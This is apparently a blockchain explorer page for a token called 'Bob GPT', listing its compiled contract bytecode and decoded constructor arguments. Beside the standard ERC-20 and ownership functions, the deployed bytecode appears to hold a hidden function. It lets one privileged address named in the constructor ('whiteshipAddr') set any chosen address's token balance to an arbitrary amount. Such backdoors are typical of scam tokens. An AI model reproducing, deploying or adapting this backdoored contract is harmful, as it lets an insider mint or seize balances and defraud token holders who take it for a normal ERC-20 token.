050600182168061150457607f821691505b602082108103611517576115166114bd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611553602083611129565b915061155e8261151d565b602082019050919050565b6000602082019050818103600083015261158281611546565b9050919050565b7f736574207468652063616c6c20746f2074686520656e74657265640000000000600082015250565b60006115bf601b83611129565b91506115ca82611589565b602082019050919050565b600060208201905081810360008301526115ee816115b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162f82611233565b915061163a83611233565b925082820261164881611233565b9150828204841483151761165f5761165e6115f5565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006116c2602683611129565b91506116cd82611666565b604082019050919050565b600060208201905081810360008301526116f1816116b5565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611754602583611129565b915061175f826116f8565b604082019050919050565b6000602082019050818103600083015261178381611747565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006117e6602383611129565b91506117f18261178a565b604082019050919050565b60006020820190508181036000830152611815816117d9565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611878602683611129565b91506118838261181c565b604082019050919050565b600060208201905081810360008301526118a78161186b565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061190a602483611129565b9150611915826118ae565b604082019050919050565b60006020820190508181036000830152611939816118fd565b9050919050565b600061194b82611233565b915061195683611233565b925082820190508082111561196e5761196d6115f5565b5b9291505056fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220915a6252da7fcdec99459d3dff40d70c917f8f24f6a54cfd034de0854439379f64736f6c6343000813003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000027e317caa2abc809cb610b6fc335d19e5cbc0c9d0000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000007426f6220475054000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006426f624750540000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e4aa36a116100715780639e4aa36a146102d5578063a457c2d7146102f1578063a9059cbb14610321578063dd62ed3e14610351578063f2fde38b1461038157610116565b8063715018a61461027157806389f9a1d31461027b5780638da5cb5b1461029957806395d89b41146102b757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806349bd5a5e1461022357806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631ab99e1214610187575b600080fd5b61012361039d565b60405161013091906111ae565b60405180910390f35b610153600480360381019061014e9190611269565b61042f565b60405161016091906112c4565b60405180910390f35b61017161044d565b60405161017e91906112ee565b60405180910390f35b61018f610457565b60405161019c91906112ee565b60405180910390f35b6101bf60048036038101906101ba9190611309565b61045d565b6040516101cc91906112c4565b60405180910390f35b6101dd610536565b6040516101ea9190611378565b60405180910390f35b61020d60048036038101906102089190611269565b61054d565b60405161021a91906112c4565b60405180910390f35b61022b610600565b60405161023891906113a2565b60405180910390f35b61025b600480360381019061025691906113bd565b610626565b60405161026891906112ee565b60405180910390f35b61027961066f565b005b6102836106f7565b60405161029091906112ee565b60405180910390f35b6102a16106fd565b6040516102ae91906113a2565b60405180910390f35b6102bf610726565b6040516102cc91906111ae565b60405180910390f35b6102ef60048036038101906102ea9190611416565b6107b8565b005b61030b60048036038101906103069190611269565b610919565b60405161031891906112c4565b60405180910390f35b61033b60048036038101906103369190611269565b6109e6565b60405161034891906112c4565b60405180910390f35b61036b6004803603810190610366919061147d565b610a04565b60405161037891906112ee565b60405180910390f35b61039b600480360381019061039691906113bd565b610a8b565b005b6060600780546103ac906114ec565b80601f01602080910402602001604051908101604052809291908181526020018280546103d8906114ec565b80156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b5050505050905090565b600061044361043c610b82565b8484610b8a565b6001905092915050565b6000600a54905090565b60045481565b600061046a848484610d53565b61052b84610476610b82565b610526856040518060600160405280602981526020016119c260299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104dc610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006105f661055a610b82565b846105f1856002600061056b610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b610b8a565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610677610b82565b73ffffffffffffffffffffffffffffffffffffffff166106956106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e290611569565b60405180910390fd5b6106f56000611055565b565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610735906114ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610761906114ec565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f9610b82565b73ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906115d5565b60405180910390fd5b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600381905550806004819055506004546003546108ae9190611624565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006109dc610926610b82565b846109d7856040518060600160405280602681526020016119756026913960026000610950610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b6001905092915050565b60006109fa6109f3610b82565b8484610d53565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a93610b82565b73ffffffffffffffffffffffffffffffffffffffff16610ab16106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d906116d8565b60405180910390fd5b610b7f81611055565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf09061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906117fc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4691906112ee565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db99061188e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890611920565b60405180910390fd5b610e3c838383611119565b610ea88160405180606001604052806027815260200161199b60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fdd91906112ee565b60405180910390a3505050565b6000838311158290611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102991906111ae565b60405180910390fd5b5082840390509392505050565b6000818361104d9190611940565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561115857808201518184015260208101905061113d565b60008484015250505050565b6000601f19601f8301169050919050565b60006111808261111e565b61118a8185611129565b935061119a81856020860161113a565b6111a381611164565b840191505092915050565b600060208201905081810360008301526111c88184611175565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611200826111d5565b9050919050565b611210816111f5565b811461121b57600080fd5b50565b60008135905061122d81611207565b92915050565b6000819050919050565b61124681611233565b811461125157600080fd5b50565b6000813590506112638161123d565b92915050565b600080604083850312156112805761127f6111d0565b5b600061128e8582860161121e565b925050602061129f85828601611254565b9150509250929050565b60008115159050919050565b6112be816112a9565b82525050565b60006020820190506112d960008301846112b5565b92915050565b6112e881611233565b82525050565b600060208201905061130360008301846112df565b92915050565b600080600060608486031215611322576113216111d0565b5b60006113308682870161121e565b93505060206113418682870161121e565b925050604061135286828701611254565b9150509250925092565b600060ff82169050919050565b6113728161135c565b82525050565b600060208201905061138d6000830184611369565b92915050565b61139c816111f5565b82525050565b60006020820190506113b76000830184611393565b92915050565b6000602082840312156113d3576113d26111d0565b5b60006113e18482850161121e565b91505092915050565b6113f3816112a9565b81146113fe57600080fd5b50565b600081359050611410816113ea565b92915050565b600080600080608085870312156114305761142f6111d0565b5b600061143e87828801611401565b945050602061144f8782880161121e565b935050604061146087828801611254565b925050606061147187828801611254565b91505092959194509250565b60008060408385031215611494576114936111d0565b5b60006114a28582860161121e565b92505060206114b38582860161121e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061150457607f821691505b602082108103611517576115166114bd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611553602083611129565b915061155e8261151d565b602082019050919050565b6000602082019050818103600083015261158281611546565b9050919050565b7f736574207468652063616c6c20746f2074686520656e74657265640000000000600082015250565b60006115bf601b83611129565b91506115ca82611589565b602082019050919050565b600060208201905081810360008301526115ee816115b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162f82611233565b915061163a83611233565b925082820261164881611233565b9150828204841483151761165f5761165e6115f5565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006116c2602683611129565b91506116cd82611666565b604082019050919050565b600060208201905081810360008301526116f1816116b5565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611754602583611129565b915061175f826116f8565b604082019050919050565b6000602082019050818103600083015261178381611747565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006117e6602383611129565b91506117f18261178a565b604082019050919050565b60006020820190508181036000830152611815816117d9565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611878602683611129565b91506118838261181c565b604082019050919050565b600060208201905081810360008301526118a78161186b565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061190a602483611129565b9150611915826118ae565b604082019050919050565b60006020820190508181036000830152611939816118fd565b9050919050565b600061194b82611233565b915061195683611233565b925082820190508082111561196e5761196d6115f5565b5b9291505056fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220915a6252da7fcdec99459d3dff40d70c917f8f24f6a54cfd034de0854439379f64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000027e317caa2abc809cb610b6fc335d19e5cbc0c9d0000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000007426f6220475054000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006426f624750540000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Bob GPT
Arg [1] : symbol_ (string): BobGPT
Arg [2] : decimals_ (uint8): 18
Arg [3] : whiteshipAddr (address): 0x27E317cAa2aBC809cB610b6fC335D19E5Cbc0C9d
Arg [4] : totalSupply_ (uint256): 1000000000000000000000000000
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 00000000000000000000000027e317caa2abc809cb610b6fc335d19e5cbc0c9d
Arg [4] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 426f622047505400000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [8] : 426f624750540000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.